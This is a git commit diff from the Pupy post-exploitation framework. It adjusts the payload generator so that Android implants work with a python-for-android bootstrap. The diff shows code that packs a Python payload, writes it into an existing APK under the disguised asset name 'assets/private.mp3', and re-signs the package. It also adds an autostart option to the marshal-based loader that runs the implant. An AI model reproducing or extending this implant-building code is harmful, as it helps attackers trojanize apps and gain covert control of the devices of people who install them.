pupygen: support p4a bootstrap

This commit is contained in:
Oleksii Shevchuk 2019-08-19 21:49:35 +03:00
parent dcfb1b5d41
commit be9828f451
4 changed files with 31 additions and 15 deletions

View File

@ -11,13 +11,15 @@ os.environ['KIVY_NO_FILELOG'] = 'yes'
platform.system = lambda: 'android'
if __name__ == '__main__':
import pupyclient
import sys
setattr(sys, 'executable', 'PythonService')
import pp
while True:
try:
pupyclient.__main__()
except Exception, e:
pp.main(debug=True)
except Exception as e:
import traceback
traceback.print_exc(e)
traceback.print_exc()
time.sleep(10)

View File

@ -234,18 +234,23 @@ def get_edit_apk(display, path, conf, compressed_config=None, debug=False):
tempdir = tempfile.mkdtemp(prefix="tmp_pupy_")
fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_")
try:
packed_payload=pack_py_payload(display, get_raw_conf(display, conf), debug)
packed_payload = pack_py_payload(
display, get_raw_conf(display, conf), debug, False)
shutil.copy(path, tempapk)
#extracting the python-for-android install tar from the apk
zf=zipfile.ZipFile(path,'r')
zf= zipfile.ZipFile(path,'r')
zf.extract("assets/private.mp3", tempdir)
zf.close()
with open(os.path.join(tempdir,"pp.py"),'w') as w:
with open(os.path.join(tempdir,"pp.py"), 'w') as w:
w.write(packed_payload)
import py_compile
py_compile.compile(os.path.join(tempdir, "pp.py"), os.path.join(tempdir, "pp.pyo"))
py_compile.compile(
os.path.join(tempdir, "pp.py"),
os.path.join(tempdir, "pp.pyo")
)
display(Success('Packaging the apk ... (can take 10-20 seconds)'))
@ -256,7 +261,7 @@ def get_edit_apk(display, path, conf, compressed_config=None, debug=False):
with open(os.path.join(tempdir,"assets/private.mp3"), 'r') as t:
updateZip(tempapk, "assets/private.mp3", t.read())
#signing the tar
# signing the tar
result = BytesIO()
jarsigner(priv_key, pub_key, tempapk, result)
return result.getvalue()

View File

@ -180,8 +180,8 @@ def safe_file_exists(f):
return os.path.basename(f) in os.listdir(os.path.dirname(f))
def bootstrap(stdlib, config):
loader = '\n'.join([
def bootstrap(stdlib, config, autostart=True):
actions = [
'import imp, sys, marshal',
'stdlib = marshal.loads({stdlib})',
'config = marshal.loads({config})',
@ -191,8 +191,15 @@ def bootstrap(stdlib, config):
'pupy.__path__ = ["pupy://pupy/"]',
'sys.modules["pupy"] = pupy',
'exec marshal.loads(stdlib["pupy/__init__.pyo"][8:]) in pupy.__dict__',
'pupy.main(stdlib=stdlib, config=config)'
])
]
if autostart:
actions.append('pupy.main(stdlib=stdlib, config=config)')
else:
actions.append('def main():')
actions.append(' pupy.main(stdlib=stdlib, config=config)')
loader = '\n'.join(actions)
return loader.format(
stdlib=repr(marshal.dumps(stdlib)),

View File

@ -20,7 +20,7 @@ def getLinuxImportedModules():
return lines
def pack_py_payload(display, conf, debug=False):
def pack_py_payload(display, conf, debug=False, autostart=True):
display(Success('Generating PY payload ...'))
stdlib = dependencies.importer((
@ -35,7 +35,9 @@ def pack_py_payload(display, conf, debug=False):
), path=ROOT, as_dict=True)
)
payload = dependencies.bootstrap(stdlib, conf) + '\n'
payload = dependencies.bootstrap(
stdlib, conf, autostart
) + '\n'
if debug:
return payload